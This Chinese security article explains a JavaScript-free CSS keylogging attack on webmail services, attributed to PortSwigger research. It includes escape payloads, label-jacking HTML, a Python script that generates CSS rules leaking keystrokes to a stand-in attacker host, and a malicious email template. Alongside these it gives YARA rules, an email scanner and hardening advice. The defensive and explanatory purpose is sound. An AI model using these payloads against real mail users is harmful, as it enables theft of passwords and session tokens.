公司动态

CSS炸弹攻击实战:HTML邮件无JS键盘记录器漏洞复现与防御

📅 2026/8/11 2:18:16
CSS炸弹攻击实战:HTML邮件无JS键盘记录器漏洞复现与防御
摘要Black‑Hat USA 2026公开的CSS炸弹攻击不依赖JavaScript仅通过HTMLCSS突破网页邮箱的邮件隔离边界打开恶意邮件即可完成键盘记录、账号密码与会话令牌窃取。传统垃圾邮件过滤、JS拦截、杀毒软件全部失效。本文从底层原理、攻击链路、漏洞复现、检测脚本、服务商修复方案、红蓝对抗风险评估完整展开同时梳理历史同类CSS侧信道攻击的局限与本次研究的突破点给出可落地的检测与加固配置清单。1 研究背景与第一性原理思考绝大多数人固有认知HTML邮件的恶意风险全部来自JavaScript。网页邮箱净化器DOMPurify、各类邮件网关工作逻辑就是彻底删除script、事件处理器onclick、eval这类执行代码保留CSS用于邮件排版渲染业务逻辑默认CSS只能作用邮件正文内部DOM节点不能污染邮箱外层界面。PortSwigger研究员Gareth Heyes的研究推翻这套假设。攻击的根因不是浏览器存在传统意义上的内存漏洞而是信任边界割裂净化器解析CSS得到一套安全视图浏览器CSSOM实际渲染得到另一套视图两者输出不一致攻击者利用解析差异完成逃逸让邮件内部CSS可以控制整个网页邮箱文档DOM树。对抗式审查视角拆解核心矛盾业务需要HTML邮件支持丰富排版不能一刀切禁用全部CSS、label、select净化器只能基于静态文本做过滤无法完整复现浏览器CSSOM序列化、转义字符解码行为网页邮箱大量使用自定义data‑*属性做内部DOM操作净化器放行无害自定义属性但是页面自身JS会把这些属性转换为不受净化管控的CSS节点形成CSS GadgetCSS小工具逃逸通道CSP策略、远程图片代理在部分绕过链路上可以被规避侧信道数据外逃依旧可以发生。整个攻击全程没有JS执行所有逻辑全部交由浏览器原生CSS、HTML特性完成。受害者只需要打开阅读这封HTML邮件不需要点击附件不需要下载文件不需要手动执行任何操作攻击链路即可触发。桌面客户端邮件渲染模型不同风险显著降低攻击面集中全部在网页版邮箱环境。A[攻击者发送恶意HTML邮件] -- B[邮件网关初步过滤无script放行CSS]B -- C[网页邮箱接收DOMPurify做HTML/CSS净化]C -- D{净化器视角CSS仅限定邮件容器内部}D -- E[浏览器CSSOM解析突变、畸形语法解码]E -- F[突破隔离边界CSS作用整个邮箱页面DOM]F -- G[标签劫持/UI伪造/select组件劫持]G -- H[用户输入密码、密钥、会话相关操作]H -- I[CSS背景图片请求向外服务器泄露每一次按键字符]I -- J[攻击者服务端收集凭证数据完成窃取]subgraph 网页邮箱顶层Document【高信任域】UI[邮箱登录弹窗、密码输入框、导航控件、会话DOM]endsubgraph 邮件渲染容器【低信任域预期隔离】Malicious[恶意HTMLCSS有效载荷]end%% 正常预期Malicious -.预期隔离不可访问- UI%% 攻击发生Malicious --|CSSOM突变/媒体查询绕过/CSS Gadget| BreakOut[边界逃逸]BreakOut -- UI2 CSS炸弹攻击底层技术拆解CSS炸弹不是单一漏洞它是一类漏洞链集合由多个浏览器解析特性、净化器缺陷、网页邮箱业务实现缺陷串联形成完整攻击链路。把整套技术拆开成三个基础构件逃逸构件、捕获构件、数据外逃构件。逃逸构件实现CSS越界让原本只属于邮件内部的样式选择器可以匹配网页邮箱外层页面任意DOM元素。实现手段分三类CSSOM字符转义突变、媒体查询畸形注释绕过、CSS Gadget自定义属性劫持。捕获构件解决一个历史老大难原生密码输入框input[typepassword]用户敲击键盘浏览器不会实时更新DOM上value属性传统CSS属性选择器无法读取实时按键。本次研究用两套方案绕过该限制label for标签劫持页面原生输入框焦点利用select下拉组件Firefox浏览器特定定时器行为每次按键修改option属性同步更新到DOM上CSS选择器可以实时读取字符变化。外逃构件CSS属性选择器匹配成功之后加载background‑image、background‑image‑set指向攻击者域名URLURL路径携带匹配到的字符。浏览器发起GET请求攻击者日志拿到URL路径还原用户输入的每一个字符完成侧信道数据泄露。整个过程不产生HTTP POST全部是普通图片GET请求很多WAF、邮件网关不会拦截普通图片请求流量。注意这套侧信道本身存在缺陷网络并行请求会打乱字符到达服务器顺序攻击链需要结合字典、字符频率做后处理还原完整字符串无法完美处理退格、光标移位、重复字符场景但针对密码、密钥这类短字符串已经具备很高实战可用性。3 四大核心攻击向量完整分析3.1 CSSOM解析突变绕过Fastmail漏洞CSS支持十六进制转义写法\7d对应}右大括号\2a对应*通配符选择器。净化器读取原始CSS文本看到的是转义字符序列认为属于动画帧名称字符串判定安全。但是浏览器CSSOM在序列化输出的时候会自动解码转义字符直接把\7d\2a翻译为} *直接闭合keyframes语法块后面注入全局通配符选择器实现全局样式污染。原始payload文本净化器看到keyframesfoo\7d\2a{color:red}浏览器CSSOM解析序列化之后实际生效代码keyframesfoo}*{color:red}}直接结束keyframes*成为全局选择器页面全部DOM节点被攻击者CSS控制。Fastmail早期实现逻辑先用CSSOM解析样式读取序列化结果再做过滤等于把浏览器解码后的恶意代码交给渲染直接触发逃逸该漏洞Fastmail已经完成补丁修复。这类漏洞揭示一个关键教训不要把CSSOM序列化输出作为净化输入源净化器必须直接操作原始CSS文本不能依赖浏览器解析之后再做过滤浏览器会做各类转义、语法修复会把无害文本变异成恶意代码。3.2 Label‑Jacking标签劫持 Outlook FirefoxHTML标准行为label fortarget_id只要页面DOM内部存在对应ID的控件无论label放在文档哪个位置点击label浏览器就会激活对应ID的输入框、按钮控件不受DOM容器边界限制。Outlook净化器允许邮件HTML内部使用label标签不会删除for属性。攻击者在恶意邮件内部放置labelfor属性填写网页邮箱外层界面密码输入框DOM ID。这个label可以用CSS完全透明、铺满整个邮件阅读区域。受害者点击邮件任意位置焦点直接跳到外层密码输入框。用户输入密码结合越界逃逸出来的CSS属性选择器捕获输入内容。整套链路在Firefox浏览器环境复现成功率最高截止研究公开时该向量补丁尚未完全落地。攻击简化HTML片段!-- 放在恶意邮件HTML正文内部 --labelforoutlook‑outer‑password‑input‑iddivstylewidth:100%;height:800px;opacity:0/div/label用户点击邮件区域焦点直接跳转到邮箱页面外层密码输入框后续CSS选择器开始抓取按键。3.3 Media‑Query畸形语法净化器绕过OutlookOutlook使用DOMPurify做HTML净化同时做自定义CSS解析解析媒体查询media块的时候遇到注释、引号解析逻辑存在缺陷。攻击者构造畸形媒体查询利用带双引号的注释欺骗净化器净化器误以为后面所有内容属于媒体查询字符串内部放行全部恶意全局CSS规则直接脱离媒体查询作用域对整个页面生效。Payload示意media--narrow-window;/**/*{position:fixed;z‑index:99999;};净化器把/**/里面双引号理解为字符串起始后续全部代码当成媒体查询内部字符串不做拦截。浏览器CSS解析器识别注释闭合*全局选择器生效攻击者可以伪造全屏弹窗模拟微软登录界面诱导受害者输入账号密码。同时Outlook存在CSS Gadget机制净化器放行部分data‑tabster自定义属性页面自身的前端JS会读取这类属性动态创建style节点这部分动态生成CSS完全绕开净化器校验成为第二条逃逸通道不需要复杂畸形语法就注入全局样式。3.4 Yahoo / AOL 粘贴竞态漏洞 Token窃取Yahoo Mail、AOL Mail网页端草稿粘贴HTML内容流程存在时间窗口竞态条件。用户执行粘贴操作瞬间浏览器先渲染粘贴进来HTML之后才调用净化器执行清理。极短时间缝隙恶意CSS短暂生效利用侧信道手段读取页面DOM内部存储的登录Token、敏感数据完成数据外逃。该攻击需要受害者执行一次粘贴操作相比打开邮件即触发需要多一步用户交互但依旧属于无JS纯CSS攻击链路。4 历史CSS键盘记录器的固有局限本次研究如何打破约束早在2019年安全社区就公开CSS键盘记录器概念基础payload如下input[value$a]{background‑image:url(http://attacker/log/a);}input[value$b]{background‑image:url(http://attacker/log/b);}传统方案有致命短板普通浏览器原生input密码框用户打字不会同步更新DOM属性value只有React、Vue受控组件框架JS主动把输入值写回DOM属性选择器才可以匹配攻击场景高度受限只能针对特定前端框架应用几乎无法在真实网页邮箱环境利用。旧方案痛点清单普通原生input不回写value DOM属性选择器完全失效只能捕获后缀匹配无法处理退格、光标移动很难突破应用隔离边界只能控制同一个组件内部元素。本次CSS炸弹研究两套方案绕开原生input限制Label‑Jacking劫持焦点但捕获目标不是原生input的value而是配合select下拉组件。Firefox浏览器中移动到视口外的select组件敲击键盘会持续更新option列表DOM属性实时变更CSS属性选择器可以持续读取每一次按键字符CSS Gadget 越界逃逸把整套CSS payload提升到整个文档作用域不再局限组件内部。至此纯CSS键盘记录从实验室概念变成可针对主流网页邮箱完整可复现攻击链不需要目标站使用React/Vue框架。5 PoC代码片段与 payload 构造思路仅安全研究禁止未授权使用重要声明下面代码仅用于安全研究、红蓝对抗实验室环境演练未经授权对第三方邮件系统实施测试属于违法行为。完整原始PoC存放于PortSwigger公开GitHub仓库。5.1 简化版属性选择器生成Python脚本用于实验室生成CSS规则集#!/usr/bin/env python3# 仅用于安全研究生成CSS属性选择器规则集合importstring char_setstring.ascii_lowercasestring.ascii_uppercasestring.digits!#$%^*()_-defgenerate_css_keylogger_rules(target_selector:str,c2_domain:str):rules[]forcinchar_set:# 转义特殊字符esc_cc.replace(,\\).replace(,\\)rulef{target_selector}[value^{esc_c}] {{ background‑image: url(https://{c2_domain}/log/{ord(c)}); }}rules.append(rule)return\n.join(rules)if__name____main__:css_outgenerate_css_keylogger_rules(select#malicious‑select,attacker‑c2.example)withopen(keylog.css,w,encodingutf‑8)asf:f.write(css_out)print(CSS规则已输出 keylog.css)脚本输出大量属性匹配规则每一个字符对应一条CSS匹配成功触发图片GET请求C2服务器通过URL路径的字符编码序号拿到按键信息。完整覆盖全部可打印字符生成出来CSS体积会达到数MB级别。5.2 恶意HTML邮件最小骨架演示payload嵌套形式!DOCTYPEhtmlhtmlheadmetacharsetutf‑8style/* 此处放置逃逸绕过payload 上面脚本生成大量属性选择器 */media--narrow‑window;/**/*{z‑index:9999;}; select#fake_input{position:fixed;top:200px;left:300px;width:350px;height:40px;opacity:0.01;}/style/headbodylabelforfake_inputdivstylewidth:100%;height:600px/div/labelselectidfake_input/select/body/html现实攻击中会进一步用CSS把select组件挪到视口外视觉完全隐藏模拟密码输入场景用户感知不到控件存在。6 受影响产品、浏览器组合、补丁状态梳理平台攻击向量披露时补丁状态高危浏览器Outlook WebLabel‑Jacking、媒体查询畸形绕过、CSS Gadget部分链未完全修复Firefox最高风险FastmailCSSOM转义突变逃逸已修复对应漏洞Firefox、ChromeGmail Webimage‑set绕过未完全修复FirefoxYahoo / AOL Mail粘贴竞态Token泄露部分修复FirefoxProtonMail代理绕过失效FirefoxChrome、Safari部分CSS行为会阻断部分payload攻击复现成功率低于Firefox。所有攻击全部针对网页版桌面邮件客户端Outlook桌面、Thunderbird渲染引擎不一样不受该套攻击链影响。野外利用现状研究披露截止2026‑08‑08没有观测到黑产、APT大规模野外利用但完整可复现PoC公开武器化门槛持续降低未来存在被武器化的高风险。7 检测能力建设YARA规则、邮件扫描脚本、WAF配置安全运营团队需要建设检测能力在邮件网关、SOC平台识别携带CSS炸弹特征的HTML邮件。注意不存在100%完美签名攻击者可以混淆、拆分payload下面规则作为基础狩猎规则不能当作唯一防御手段。7.1 YARA狩猎规则用于扫描邮件附件、提取出来的HTML邮件正文rule CSS_Bomb_Webmail_Keylogger_Hunt { meta: author Security‑Research‑Hunt description 狩猎CSS炸弹攻击HTML邮件载荷仅用于威胁狩猎不能单独作为阻断规则 reference PortSwigger CSS:the bomb inside your inbox BlackHat USA2026 date 2026‑08‑10 mitre T1041 Exfiltration Over C2 Channel strings: $s1 /keyframes\\7d\\2a/ nocase $s2 { 5c 37 64 } /* \7d 转义字符 */ $s3 /media.*\/\*\*\*\// nocase $s4 /\[value\^\[a-zA-Z0‑9!#]/ nocase $s5 /background‑image:\s*url\(.*\/log\// nocase $s6 /label\sfor\[a-zA-Z0‑9‑_]\/ nocase $gadget /data‑tabster/ nocase condition: 2 of ($s*) or ($gadget and 1 of ($s1,$s3,$s4)) }7.2 Python简易邮件扫描脚本解析EML文件检测可疑特征#!/usr/bin/env python3importemailfromemail.policyimportdefaultimportreimportsys# 检测特征集合SUSPICIOUS_PATTERNS[re.compile(rkeyframes.*\\7d\\2a,re.IGNORECASE),re.compile(rmedia.*\/\*\*\*\/,re.IGNORECASE),re.compile(r\[value\^\[a-zA-Z0‑9!#],re.IGNORECASE),re.compile(rbackground‑image:\s*url\(.*\/log\/,re.IGNORECASE),re.compile(rdata‑tabster,re.IGNORECASE)]defscan_eml_file(file_path):withopen(file_path,rb)asf:msgemail.message_from_bytes(f.read(),policydefault)html_bodyforpartinmsg.walk():ifpart.get_content_type()text/html:payloadpart.get_payload(decodeTrue)ifpayload:html_bodypayload.decode(utf‑8,ignore)hit_list[]forpatinSUSPICIOUS_PATTERNS:mpat.search(html_body)ifm:hit_list.append(pat.pattern)ifhit_list:print(f[!] 文件{file_path}命中可疑CSS炸弹特征{hit_list})returnTrueelse:print(f[OK] 文件{file_path}未命中特征)returnFalseif__name____main__:iflen(sys.argv)!2:print(usage: python eml_scan.py sample.eml)sys.exit(1)scan_eml_file(sys.argv[1])7.3 WAF / 邮件网关配置要点对HTML邮件内部style块开启深度检测禁止大量重复[value^]属性选择器监控出站GET请求大量短路径随机字符访问外部图片域名标记告警开启远程图片默认阻断用户手动加载外部图片记录审计日志。检测只能做到告警狩猎无法完全阻断变种payload根本防御依靠服务商侧架构修复。8 服务商侧完整加固方案清单按照优先级排序第一条是成本最高但防护效果最强的方案。不可信HTML邮件强制沙箱隔离iframe渲染设置sandbox属性邮件内容和邮箱主页面完全不同DOM文档CSS完全无法越界直接从架构层面消灭全部逃逸攻击面。注意iframe不能开启allow‑same‑origin开启之后隔离失效。很多网页邮箱出于样式兼容性能考量没有默认启用iframe隔离这是最大根源问题。CSS净化器直接处理原始CSS文本禁止使用CSSOM序列化之后结果做过滤避免转义字符解码突变带来绕过严格管控label for邮件内部HTML的label标签for属性只允许指向邮件容器DOM内部ID禁止引用文档全局ID高风险CSS伪类与选择器做限制:has()、:checked()严格评估对大量批量属性选择器做长度与数量阈值限制审计全部data‑*自定义属性杜绝CSS Gadget逃逸通道业务JS不要把净化器放行的自定义属性转换为不受管控的style节点全部外部图片资源强制经过代理转发浏览器不能直接访问攻击者C2域名阻断CSS背景图侧信道泄露路径CSP策略收紧限制background‑image外部域名不允许任意外部域名图片加载修复媒体查询、动画关键帧解析的畸形语法解析漏洞加固CSS语法解析器对畸形注释、未闭合引号做强校验。9 企业与普通用户防护操作手册普通用户没有办法修复网页邮箱后端代码只能做风险缓解不能彻底消除漏洞风险。普通用户操作清单网页邮箱设置开启默认阻止远程图片加载不要随意点击“加载图片”按钮这是个人最有效的缓解手段CSS炸弹外逃依赖图片GET请求尽量减少Firefox浏览器访问网页版Outlook该组合复现攻击成功率最高账号强制开启多因素认证MFA即便密码被窃取攻击者依旧无法登录账号收到陌生HTML格式邮件优先切换查看纯文本模式不渲染HTML网页邮箱弹出登录、密码验证弹窗不要直接弹窗输入新开浏览器标签手动输入官网域名登录不要信任邮件触发的页面弹窗。企业侧运维操作邮件安全网关增加上面EML扫描脚本对入站外部邮件做威胁狩猎告警终端安全日志监控浏览器出站大量随机短路径GET请求访问外部图片域名触发SOC告警内部安全培训告知员工该类新型攻击攻击不依赖附件、不需要点击链接仅仅打开邮件就存在风险。10 红蓝对抗视角武器化约束、野外利用预判即便PoC公开CSS炸弹攻击依旧存在现实约束不能做到100%稳定捕获任意密码。字符顺序浏览器并行发送图片请求服务器收到请求顺序不等于用户敲击键盘顺序需要频率字典做概率还原长字符串还原准确率下降退格、光标移位、重复敲击同一个字符会造成捕获数据丢失错乱不同浏览器行为差异巨大Payload需要针对目标浏览器做定制通用性不如传统XSS完整攻击链需要多个漏洞同时存在服务商陆续补丁会破坏整条链路。但是针对企业钓鱼场景攻击者定向目标受害者使用FirefoxOutlook网页端这套攻击链的威胁级别很高。APT组织、红队会优先使用该技术不需要JS绕过绝大多数传统邮件防护设备。预判未来攻击演变方向攻击者把大体积CSS payload做拆分、混淆、压缩规避YARA简单签名结合AI钓鱼邮件社会工程诱导用户执行粘贴操作触发Yahoo/AOL这类竞态漏洞结合AI Agent邮件处理功能实现更进一步的间接提示注入、数据窃取。11 安全行业启示与底层架构反思CSS炸弹攻击揭示一个长久被忽略的安全假设缺陷行业长久以来把CSS简单归类为“纯粹展示、无危害”认为只要干掉JS就安全。CSS具备强大选择器能力、可以触发外部资源加载本身就可以成为侧信道攻击载体。很多安全产品做过滤的时候边界划分简单粗暴把可执行脚本当成高危HTML和CSS当成低风险。现实浏览器模型里面HTML、CSS、DOM、资源加载是一套完整交互系统边界不是脚本/非脚本二元划分。净化器开发的通用教训永远不要把浏览器解析后的DOM/CSSOM输出当成安全输入源浏览器会自动修复语法、解码转义字符修复过程本身可以被攻击者利用制造解析差异过滤逻辑必须基于原始输入文本完成。架构层面最优解依旧是强隔离把不可信内容放到完全隔离的沙箱iframe跨文档边界即便CSS全部失控也无法接触高信任域页面DOM。很多产品出于性能、兼容、开发工作量放弃这套方案用净化器做逻辑隔离逻辑隔离永远存在被绕过可能性。12 互动问题如果你们企业邮件安全网关现在需要增加针对CSS炸弹攻击的检测规则你会优先选择静态签名还是基于行为检测的方案谈谈你的取舍业务上HTML邮件有很强排版需求不能直接全部iframe隔离站在产品开发角度你会做哪些折中方案平衡安全与用户体验